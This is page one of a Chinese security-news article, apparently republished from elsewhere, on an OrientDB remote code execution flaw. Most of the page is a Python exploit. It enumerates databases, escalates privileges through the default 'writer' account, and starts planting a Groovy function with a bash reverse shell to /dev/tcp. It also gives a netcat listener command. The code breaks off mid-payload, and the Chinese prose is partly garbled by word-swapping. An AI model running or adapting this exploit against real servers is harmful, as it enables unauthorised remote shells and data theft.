欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Oreint DB远程代码可执行破绽漏洞bug曝光

来源:本站整理 作者:佚名 时间:2017-09-21 TAG: 我要投稿
在目标用bash反弹,当地你能够用nc监听,运转如下敕令:netcat -lp 6666

末了给出PoC:
#! /usr/bin/env python
#-- coding: utf-8 --
# OrientDB
import sys
import requests
import json
import string
import random
target = sys.argv[1]
try:
    port = sys.argv[2] if sys.argv[2] else 2480
except:
    port = 2480
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
def random_function_name(size=5, chars=string.asciilowercase + string.digits):
    return ''.join(random.choice(chars) for  in range(size))
def enum_databases(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
    if req.status_code == 200:
        #print "[+] Database Enumeration successful"
        database = req.json()['databases']
        return database
    return False
def check_version(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
    if req.status_code == 200:
        headers = req.headers['server']
        #print headers
        if "2.2" in headers or "3." in headers:
            return True
    return False
def run_queries(permission,db,content=""):
    databases = enum_databases(target)
    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
    priv_enable = ["create","read","update","execute","delete"]
    #query = "GRANT create ON database.class.ouser TO writer"
    for priv in priv_enable:
        if permission == "GRANT":
            query = "GRANT %s ON %s TO writer"%(priv,db)
        else:
            query = "REVOKE %s ON %s FROM writer"%(priv,db)
        req = requests.post(url,data=query,auth=('writer','writer'))
        if req.status_code == 200:
            pass
        else:
            if priv == "execute":
                return True
            return False
    print "[+] %s"%(content)
    return True
def priv_escalation(target,port="2480"):
    print "[+] Checking OrientDB Database version is greater than 2.2"
    if check_version(target,port):
        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
        if priv1 and priv2 and priv3:
            return True
    return False
def exploit(target,port="2480"):
    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file

上一页  [1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载